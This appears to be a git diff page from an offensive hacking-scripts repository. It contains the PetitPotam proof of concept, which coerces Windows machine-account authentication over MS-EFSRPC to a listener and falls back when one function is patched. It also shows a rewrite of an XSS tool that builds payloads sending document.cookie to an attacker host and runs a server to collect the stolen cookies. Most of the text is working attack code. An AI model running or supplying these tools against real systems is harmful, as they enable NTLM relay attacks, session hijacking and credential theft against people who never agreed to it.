from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
show_banner = '''
|
||||
|
||||
___ _ _ _ ___ _
|
||||
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
|
||||
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
|
||||
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
|
||||
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
|
||||
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
|
||||
|
||||
PoC to elicit machine account authentication via some MS-EFSRPC functions
|
||||
by topotam (@topotam77)
|
||||
|
||||
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
|
||||
|
||||
|
||||
'''
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDecryptFileSrv(NDRCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryUsersOnFile(NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFile(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfo(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('infoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('SrcFileName', WSTR),
|
||||
('DestFileName', WSTR),
|
||||
('dwCreationDisposition', DWORD),
|
||||
('dwAttributes', DWORD),
|
||||
('RelativeSD', EFS_RPC_BLOB),
|
||||
('bInheritHandle', BOOL),
|
||||
)
|
||||
|
||||
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFileEx(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('dwFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('dwAttributes', DWORD),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
|
||||
)
|
||||
|
||||
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfoEx(NDRCALL):
|
||||
opnum = 16
|
||||
structure = (
|
||||
('dwFileKeyInfoFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('InfoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 18
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 19
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('OldEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrv(NDRCALL):
|
||||
opnum = 21
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('ProtectorDescriptor', WSTR),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
#class EfsRpcQueryProtectors(NDRCALL):
|
||||
# opnum = 21
|
||||
# structure = (
|
||||
# ('FileName', WSTR),
|
||||
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
|
||||
# )
|
||||
#class EfsRpcQueryProtectorsResponse(NDRCALL):
|
||||
# structure = (
|
||||
# ('ErrorCode', ULONG),
|
||||
# )
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
|
||||
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
|
||||
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
|
||||
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
|
||||
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
|
||||
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
|
||||
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
|
||||
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
|
||||
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
|
||||
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
|
||||
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
|
||||
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
|
||||
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
|
||||
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
|
||||
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
|
||||
}
|
||||
|
||||
class CoerceAuth():
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
if targetIp:
|
||||
rpctransport.setRemoteHost(targetIp)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Connected!")
|
||||
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||
print("[-] Sending EfsRpcOpenFileRaw!")
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
#request.dump()
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
#sys.exit()
|
||||
return None
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
print('[+] OK! Using unpatched function!')
|
||||
print("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
pass
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
|
||||
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
|
||||
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
|
||||
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
|
||||
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
|
||||
|
||||
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
parser.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
|
||||
|
||||
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
|
||||
parser.add_argument('listener', help='ip address or hostname of listener')
|
||||
parser.add_argument('target', help='ip address or hostname of target')
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
print(show_banner)
|
||||
|
||||
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
|
||||
from getpass import getpass
|
||||
options.password = getpass("Password:")
|
||||
|
||||
plop = CoerceAuth()
|
||||
|
||||
if options.pipe == "all":
|
||||
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
|
||||
else:
|
||||
all_pipes = [options.pipe]
|
||||
|
||||
for all_pipe in all_pipes:
|
||||
print("Trying pipe", all_pipe)
|
||||
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
|
||||
if dce is not None:
|
||||
plop.EfsRpcOpenFileRaw(dce, options.listener)
|
||||
dce.disconnect()
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
win/socat.exe
BIN
win/socat.exe
Binary file not shown.
BIN
win/socat64.exe
BIN
win/socat64.exe
Binary file not shown.
BIN
win/winPEAS.exe
BIN
win/winPEAS.exe
Binary file not shown.
Binary file not shown.
129
xss_handler.py
129
xss_handler.py
@ -1,71 +1,108 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from hackingscripts import util
|
||||
from fileserver import HttpFileServer
|
||||
import argparse
|
||||
import random
|
||||
import sys
|
||||
import http.server
|
||||
import socketserver
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
||||
# returns http address
|
||||
def getServerAddress(address, port):
|
||||
if port == 80:
|
||||
return "http://%s" % address
|
||||
else:
|
||||
return "http://%s:%d" % (address, port)
|
||||
|
||||
# returns js code: 'http://xxxx:yy/?x='+document.cookie
|
||||
def getCookieAddress(address, port):
|
||||
return "'%s/?x='+document.cookie" % getServerAddress(address, port)
|
||||
|
||||
def generatePayload(type, address, port):
|
||||
|
||||
def generate_payload(payload_type, url, index=None, **kwargs):
|
||||
payloads = []
|
||||
cookieAddress = getCookieAddress(address, port)
|
||||
|
||||
media_tags = ["img","audio","video","image","body","script","object"]
|
||||
if payload_type in media_tags:
|
||||
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url))
|
||||
if type in media_tags:
|
||||
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress))
|
||||
|
||||
if payload_type == "script":
|
||||
payloads.append('<script type="text/javascript">document.location=%s</script>' % url)
|
||||
payloads.append('<script src="%s/xss" />' % url)
|
||||
if type == "script":
|
||||
payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress)
|
||||
payloads.append('<script src="%s/xss" />' % getServerAddress(address, port))
|
||||
|
||||
if len(payloads) == 0:
|
||||
return None
|
||||
|
||||
return "\n".join(payloads)
|
||||
|
||||
class XssServer(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self):
|
||||
content = f"<html><body><h1>Got'cha</h1></body></html>"
|
||||
return content.encode("utf8") # NOTE: must return a bytes object!
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
if self.path == "/xss":
|
||||
cookie_addr = getCookieAddress(util.get_address(), listen_port)
|
||||
self.wfile.write(cookie_addr.encode())
|
||||
else:
|
||||
self.wfile.write(self._html())
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
|
||||
def end_headers(self):
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
BaseHTTPRequestHandler.end_headers(self)
|
||||
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(200, "ok")
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
|
||||
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
|
||||
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
|
||||
self.end_headers()
|
||||
|
||||
def do_POST(self):
|
||||
self._set_headers()
|
||||
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
|
||||
post_data = self.rfile.read(content_length)
|
||||
print(post_data)
|
||||
self.wfile.write(self._html())
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description="XSS payload generator")
|
||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
args, extra = parser.parse_known_args()
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <type> [port]" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
listen_port = args.port
|
||||
payload_type = args.type.lower()
|
||||
local_address = args.addr
|
||||
extra_args = {}
|
||||
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
||||
payload_type = sys.argv[1].lower()
|
||||
|
||||
for entry in extra:
|
||||
match = re.match(r"(\w+)=(\w+)", entry)
|
||||
if not match:
|
||||
print("Invalid extra argument:", entry)
|
||||
exit()
|
||||
key, value = match.groups()
|
||||
extra_args[key] = value
|
||||
local_address = util.get_address()
|
||||
|
||||
# choose random port
|
||||
if listen_port is None:
|
||||
listen_port = random.randint(10000,65535)
|
||||
while util.is_port_in_use(listen_port):
|
||||
listen_port = random.randint(10000,65535)
|
||||
sock = util.open_server(local_address)
|
||||
if not sock:
|
||||
exit(1)
|
||||
listen_port = sock.getsockname()[1]
|
||||
sock.close()
|
||||
|
||||
http_server = HttpFileServer(local_address, listen_port)
|
||||
payload_type = args.type.lower()
|
||||
url = http_server.get_full_url("/", util.get_address())
|
||||
payload = generate_payload(payload_type, url, **extra_args)
|
||||
if payload is None:
|
||||
print("Unknown payload type: %s" % payload_type)
|
||||
# print("Supported types: ")
|
||||
payload = generatePayload(payload_type, local_address, listen_port)
|
||||
if not payload:
|
||||
print("Unsupported payload type")
|
||||
exit(1)
|
||||
|
||||
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
|
||||
|
||||
headers = {
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
|
||||
}
|
||||
|
||||
http_server.addRoute("/", lambda req: (201, b"", headers))
|
||||
http_server.dumpRequest("/")
|
||||
http_server.serve_forever()
|
||||
|
||||
print("Payload:")
|
||||
print(payload)
|
||||
print()
|
||||
|
||||
httpd = HTTPServer((local_address, listen_port), XssServer)
|
||||
print(f"Starting httpd server on {local_address}:{listen_port}")
|
||||
httpd.serve_forever()
|
||||
|
Loading…
Reference in New Issue
Block a user